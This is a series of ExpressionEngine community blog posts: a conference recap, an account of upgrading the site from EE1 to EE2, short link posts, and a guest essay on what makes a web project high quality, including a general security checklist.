Having grown up in Los Angeles, where the sports celebrations are heavily regulated and regimented (read: boring), this was a sight to see. Literally millions of people out on the streets of Chicago showing their support and love for their home hockey team. Yes, it made getting to the venue first thing in the morning frustrating, but that was a small price to pay to see something like that in my opinion (and looking back on it from home).

The first talk on Friday (and last day of Peers) was probably one of the most profoundly touching and moving presentations I’ve ever witnessed at a technology conference. Greg Baugues, of Table XI, talked about the elephant in the room of technologists with his presentation titled “Devs and Depression”.

As the title suggests, Greg’s talk was all about his experiences dealing with depression (personally and professionally) and how it is truly a problem in our industry more than most. The similarities between his experiences and others in the industry were striking and really hit me right in the feels. Depression and metal illness is something we should all be aware of and he really made a great case. It’s unfortunate that, with the parade, not everyone was able to see it but, hopefully, he’ll continue giving it at other conferences.

After Greg’s talk I had to start preparing for my talk so I sat the next few sessions out. Being a programmer, design does not come naturally to me so I obsess over things like my slides a bit more than I should. There’s a lesson there I think…

I’m pretty of disappointed I missed them though since they were all developer centric and really interesting topics. Greg Ferrell talking about building a Craft add-on and Phil Sturgeon discussing Composer would have been especially useful to me specifically but, considering my front end and Git skills aren’t as pro as they should be, Rob Sanchez’s and Trevor Davis’s talks would probably have earned me more money in the end.

My talk went over pretty well I think; had my slides all done with pictures and words (in English even!) and everything. Can’t really be subjective about it though so you’ll have to hear from others about quality or usefulness. Still, the overall theme was to be aware of the problems inherent in our choices. Use a CMS, know what performance bottlenecks you’ve setup so when issues happen you’re not caught unawares. Build a patchwork system; better know the issues you’ve laid out for yourself. Etc.

After my presentation, Angie Herrera had her presentation about finding balance in our professional lives. Not something that comes easy to most of us. I had never watched Angie speak before but she’s quite charming and clearly put a lot of thought into how to stay happy while working. Of course, I had to miss Adrienne Travis talking about Stash and all the usefulness that offers.

Lodewijk Schutte (Low) closed out Peers Conference with a really good “think talk” asking why we work and what we work for. Very thought provoking and interesting idea: what are we doing all this for and why?

Overall, Peers Conference was a wonderful experience with tons of notable speakers and topics. I walked away energized and ready to attack the challenges of this neat little industry we live and work in. I can’t wait for the next one.

The Long Road to EE2

Coming off last week’s Engine Summit we’re already hearing chatter about the next big release of ExpressionEngine. For me, and this site, however, it’s been a long road to ExpressionEngine 2.

I originally built EE Insider in late 2008 and up until a month ago it was still running a 1.x flavor of ExpressionEngine. It was the last remaining site that I regularly interacted with that was running the old friend we all knew so well.

So, why did it take me so long to upgrade? I mean, goodness, it’s been almost 3 years since EE2 was released.

Here’s why I stayed on EE1:

1. It was stable and worked perfectly for me at all times.
2. I had add-ons in use that were not updated yet (back when I originally looked at upgrading)
3. I had some functionality of the site that would require major re-working through an update. I didn’t see the investment as being worth it at the time.
4. Did I mention it was stable and worked?

ExpressionEngine 1.6 and 1.7 were (and are) excellent releases. I depended on them over and over again for all sorts of sites. EE2 has certainly matured into a great CMS (I use it to power my e-commerce store) but there was the risk of disturbing something that works fine and gets the job done. I could still post content from MarsEdit, my guest authors could still log in and post their content (although they did comment how weird it was to see EE1). We could do the business of the site without any problems.

It didn’t take long for all of my add-ons to be updated (the most impressive part of the EE1 to EE2 move was how responsive and quick the add-on developers were) so that reason didn’t last very long.

Up until EE Insider moved to EE2 I had the EE Insider Tips section of the site where people could submit their own EE tips. This section, while starting strong, never took off and the interest wasn’t there to sustain it as a great catalog of EE tips and tricks. As time went on I turned off the ability to add new tips. Now you can’t even access the tips unless you come from a search engine (99% of the traffic) or from another link on the site.

For EE Insider Tips I was using a handful of add-ons to make the posting functionality work properly. I would have to decide it was worth the time to rework that section of the site that was performing so poorly. In the end I decided it wasn’t worth even having it running and I turned off the ability to submit new tips. Another reason not to upgrade wiped from the board.

After those reasons were no longer, well, reasons, I decided that I did need to update but was working on other projects that needed my attention more than upgrading software on a site that wasn’t broken. I also saw the pain and struggle that Ryan Masuga and the Devto:ee team went through when they upgraded their site. I didn’t want that pain. I don’t like pain.

But one big frustration I had was that I couldn’t try the latest and greatest add-ons from our prolific developer community. Sure, I could use them on other sites but there were add-ons I wanted to use right here on EE Insider.

A month ago Chris Imrie and Eric Lamb announced the Entry Analytics add-on. Eric writes for EE Insider and told me he wished he could see the analytics for his articles on the site. I broke it to him that EE Insider was still running ExpressionEngine 1. He encouraged me to upgrade. I told him I don’t have time.

But then I thought, hey, why the hell not? Why not branch the repository and test the update again? Sure, I’d have to kill some stuff on the site to make it happen but it would be a good time to prune the dead wood.

I went through and made a list of everything I needed to have and then completely disabled all add-ons. After the EE2 upgrade I looked at what was broken and then fixed only the stuff I needed. It was a liberating and refreshing exercise.

There was only one issue with the upgrade, which involved some entry content that contained single quotes being truncated during the migration. This could’ve been disastrous (and, frankly, it’s a little concerning that this could even happen) but fortunately I had a good backup and the ability to whip together a quick bit of SQL to migrate over just the truncated content from my backup.

The upgrade took less than two hours, including all prep, planning and backups. The content migration to fix broken content after the upgrade only took about an hour to determine the problem, test a fix and do the final migration. For a project I didn’t want to do it only took me about 3 hours to actually get it done. That’ll teach me.

Do I regret not upgrading earlier? I only have a few regrets over the last 38 years and none of them have to do with software. The time was right when I did it and it worked.

What’s next? With the big update out of the way, it’s time to shake the dust off the design and code and make them more modern.

Comparing Technical Debt

No matter which solution you choose, beware of the technical debt you incur along the way. Sam Hernandez says it well:

When choosing a CMS, compare technical debt. The more it does for you, the greater the future debt (real dollars) #eecms vs #drupal

— Sam Hernandez (@sam_h) June 13, 2013

Brad Parscale on Solspace Podcast

Mitchell Kimbrough has been doing an informal podcast with some of people in the EE community. He started with a conversation with Matt Weinberg of Vector Media Group and then continued on with a few more.

The most recent show, a one-hour conversation with Brad Parscale of Giles-Parscale and the operator of the ExpressionEngine Conference in Portland this year, is a favorite of mine. If you attended EECI last Fall here in Texas then you probably saw Brad give his excellent talk on how he runs his business. This podcast with Mitchell is a conversational version of that talk plus more. It’s a nice look into how Brad sets himself up to succeed with ExpressionEngine.

Brad Parscale and I talk at length in this podcast about his acquisition of EECI, the ExpressionEngine ® conference. Listen as he schools me on staffing, business strategy, finding ways to make more money, and most interestingly, avoiding hardcore software development work as a way to avoid losing money.

This is a must-listen for everyone trying to do business with and around ExpressionEngine.

Listen to the conversation.

Erik Reagan: Why We Didn’t Start An EE Add-on Biz

It was a few years in the making and in one decision Erik Reagan and his business partner at Focus Lab pulled the plug on their plans–and all of the work up to that point–on launching their own ExpressionEngine add-on business.

In short, after years of dreaming, planning and coding, I realized that pulling off a CMS add-on business — at the quality I wanted — would severely hurt Focus Lab. It would be profitable, no doubt. But it would also take away from our client services which we’re quite passionate about. That was all I needed to realize to justify no longer pursuing the dream.

Erik and Bill made a tough decision to kill a project that didn’t fit the vision they had for their company. Bold move.

Read the whole thing: The Sidecar that Never Was

Austin-based Novahurst Creative Seeks Front-End Developer

The post title says it all. Novahurst Creative, a shop based right here in the Breakfast Taco Capitol of the World, is looking for a freelance front-end developer to help them handle projects going forward.

We have a posting up on Director-EE for a part-time front-end developer, preferably in the Austin area. #eecms director-ee.com/jobs/listing/d…

— Novahurst Creative (@novahurst) May 8, 2013

Using JavaScript Instead of jQuery

In Weaning Yourself Off jQUery James Halliday shows how you can use just JavaScript to easily do what you might be using jQuery–and it’s overhead as a library–to do.

As programmers build up applications up from lots of tiny components, if every component included a vendored jquery version, the total javascript size quickly baloons into multi-megabytes. When the jquery version gets pegged, version incompatibilities arise that likewise create redundancy issues. When the jquery version is left to float or its use is demanded externally in the documentation, this also does not scale well and makes it cumbersome and error-prone to use tiny pieces.

Learn some JavaScript.

Quality and ExpressionEngine

Eric Lamb is the developer of professional and enterprise grade ExpressionEngine add-ons. Founded in 2009 Eric’s company mithra62 aims to be a leader in ExpressionEngine add-on development and has a reputation for stability, usefulness, and being highly configurable. Check out Eric’s popular ExpressionEngine add-on Backup Pro.

When working on your average developer tool, a tool to help developers do their jobs as opposed to an add-on or script to add features, you can’t help but obsess over the meta. Normally, a lot of this stuff is just second nature, and rarely given more than a cursory thought, but with tool development, like the EE Debug Toolbar, you just can’t help it.

Take, for example. the question of “high quality in web development”. A couple months ago I had mentioned high quality as making sure “nothing was off about a project”. Not the best definition and certainly open to interpretation. Now that I’ve had some time to think about it I believe I have a better definition for what I consider a quality ExpressionEngine site to mean.

When building out a web project there are 5 points that have to be covered completely for a project to be considered of high quality in my opinion. They are (in no particular order):

1. Feature Complete
2. Secure
3. Minimal Fingerprint
4. Maintainable
5. Recoverable

Feature Complete

All things being equal, this one’s easy and the one most people can achieve. Does the project do what it’s intended to do?

Now, I say this one’s easy because with a tool like ExpressionEngine (and to be fair, lots of other platforms too) its whole purpose of being is to make doing things trivial. And it does do it pretty well. Say what you will about the problems ExpressionEngine may or may not have but it does allow web developers to do some useful things with minimal effort.

That said, nothing can make a project good if the plan is poor. If the list of features isn’t compelling or interesting to users it doesn’t matter how well done the other parts are.

Where things fall apart for those projects with a good feature set is with the other 3 points though.

Secure

Things have changed dramatically in the last decade in terms of security and web development and ExpressionEngine does it’s part to make that easy for a lot of situations. (Lots of newbie devs will never appreciate the sheer terror in coming into the office and feeling the odd sense of shame and revulsion over what some script kiddie did to the network. It’s a shame…)

But all this is still at the platform level. Using extra tools like Securit:ee, VZ Bad Behavior, devot:ee Monitor, and all the other security minded add-ons at devot:ee you can improve ExpressionEngine’s security even further. But there’s nothing stopping devs from doing insecure things in the development of their project.

Just a couple base example questions to ask yourself:

1. Is personal data secured? Can users change a URL parameter and view stuff they shouldn’t?
2. Is sensitive data secured and encrypted before storage?
3. Does the site rely on only JS for form validation?
4. Are the embed templates hidden (dot/underscore)?
5. Is the site still in debug mode in production?
6. Are the templates setup for member access and lock out?

Obviously a lot of this stuff is dependent on the project but my point is that security needs to be taken seriously and as an actual “thing” before quality can be claimed.

Minimal Fingerprint

This one is obviously close to my heart at the moment with the EE Debug Toolbar reaching maturity. Minimal Fingerprint refers to performance and how hungry a site is for system resources.

This is basically the below points for most sites regardless of platform (my personal goals in parenthesis):

1. Page execution time (0.5 seconds max)
2. Combined SQL execution time (0.01 seconds max)
3. Single query execution time (0.001 seconds max)
4. Total query count (less than 100)
5. Memory usage (10MB max)
6. Page download time (3 seconds total for all assets)

Having a secure and kick ass feature set for a site means nothing if it takes 20 seconds for pages to load.

Another thing that gets over looked far too often is how well a site performs “under load”. It is two very different things for a site to work gangbusters with no visitors and no data, but another altogether when the site is under the expected load and expected data set. Knowing (and planning for) this before pushing live is critical for a quality project.

It should be noted that performance is one of the rare exceptions where you can just throw money at the problem. Hardware’s cheaper now than it’s ever been so if you don’t have the time, inclination, or skill, to actually improve on the actual product you can always spread the site out across a load balancer or dedicated database server (or whatever) to help with performance. Definitely an advanced strategy though and not to be taken into lightly and one that’s extremely dirty to go into except as a last resort.

Maintainable

For those of us who have been around the block a few times, this is the really important determination of quality. How difficult is it to make changes/updates to the project? A tool like ExpressionEngine offers much more than just CMS capabilities; it also adds in longevity so long as a little care is taken. There is no reason for a website to have to move platforms just to change the design.

Think of it like this: You got hit by a bus/quit your job/decide the client isn’t worth it. Whatever. Basically, you’re just gone. Now. Are all those clever hacks, nested embeds, template partials gone made, spaghetti code, dynamic variables ({{var1}_{var2}_thing} anyone?) and copy pasta going to make growth and change a problem? Is the developer who takes over once you’re gone going to want to find your grave, dance on it, find a shaman and resurrect you, only to torture you for eternity because of the assault against nature you’ve created? In my experience, more often than not, yup, we’re gonna do some grave dancing and cursing.

Knowing the history on this it makes sense why maintainability would be an issue.

Tools like ExpressionEngine and WordPress and all the other CMS systems out there (and PHP and ASP and Perl before them) make creating websites well within the reach of the average enthusiast and the early successes can lead to a great deal of confidence. Enough confidence to think it’s a good idea to put the old shingle out and be open for business. Unfortunately, it takes a while for these newly christened developers to run into maintenance as an actual issue so they never think about it until later in their career.

Creating a maintainable site, that can scale to change with ease and logic, is of the utmost importance for quality.

Recoverable

Clients never think about disasters and failures when it comes to their websites in my experience. In over eleven years of doing client driven web development I don’t think I’ve ever had a client bring it up except for a couple occasions. That’s why it’s imperative that we (the hired devs/agencies) keep this in mind and set the client up for success.

In a nutshell; what is the plan when things go wrong?

1. How are backups of the files and db being done and where are they stored?
2. In the event the host disappears, what is the secondary provider to port things to?
3. How is DNS handled and where do you change it?
4. Where are the extra server components (HDD, RAM, NIC Cards, etc) stored and accessed (for dedicated hosting)?
5. Who are the points of contact internally for assistance and guidance?

Now, outside of complete website development, disaster recovery isn’t really something that needs to be considered as a constant todo. But, for those projects that are complete sites or those with maintenance contracts (at the least), disaster recovery is an absolute must in order to claim a project as high quality.

Some agencies/devs like to charge for this as an extra line item, and more power to them but, personally, I do not.

First, disaster recovery plans are incredibly rote and straightforward at this point. There’s very little mystery involved. Software wise, it can range from free (Backup Pro(ish), Safe Harbor Lite, and even shell scripts at the server level) to barely 0.004% of a small project budget for an automated backup solution.

Second, when something does go wrong I like to have the confidence I can fix things. Knowing what to do in the event of an emergency is just good sense.

Third, the client can say no. This is the big winner. It’s a tough sell to get a client to think about disaster recovery when they’ve likely never even heard of the possibilities. Worse, in my experience, some clients even get the idea in their head that you’re trying to “nickel and dime them”. It’s a very awkward thing, especially considering the absolutely minimal overhead involved in crafting a plan. No, best to just absorb that cost and look like a bad ass when something goes wrong and a solution isn’t a problem.

Conclusion

For me, it’s very important that all five items receive equal treatment wherever possible. I say wherever possible because when it comes to each of those items, it’s a rare thing when improving one doesn’t change the other. The key is to make your decisions with eyes open as to the full consequences.

For example, improving security on a website will, more often than not, increase the performance costs. Conversely, improving on performance can have negative effects on maintainability (especially with ExpressionEngine), while feature set takes away from maintainability, fingerprint, and security.

It’s a constant back and forth game of whack a mole but one that’s absolutely critical to play in order to build high quality websites.

Eric Lamb is the developer of professional and enterprise grade ExpressionEngine add-ons. Founded in 2009 Eric’s company mithra62 aims to be a leader in ExpressionEngine add-on development and has a reputation for stability, usefulness, and being highly configurable. Check out Eric’s popular ExpressionEngine add-on Backup Pro.

EE Support Request Tips

Michael Witwicki put together a nice set of tips for communicating support requests and issues with developers.

ExpressionEngine add-on developers (species: Codeignitus Developus) are a unique breed. Should you encounter one in the wild and need support, here are some tips get your question answered as quickly as possible.

His list is specific to ExpressionEngine add-on developers, but the approach is useful for any interaction you have with people who make the software you use.

Introvert/Extrovert by Chris Coyier

Maybe this is something many of us in the EE community can relate to. Chris Coyier digs a little deeper on the introvert/extrovert misunderstanding.

The truth about the difference between introverts and extroverts lies in how personal energy is used and gained. Introverts need a lot of recharging time to gain energy. Being out-and-about, especially in social situations, is draining. Alone time is the only way to get that energy back. For me, it’s a lot of alone time. Not sitting in a dark cave staring at the wall, but somewhere comfortable where I can do other activities I enjoy.

Read the entire article.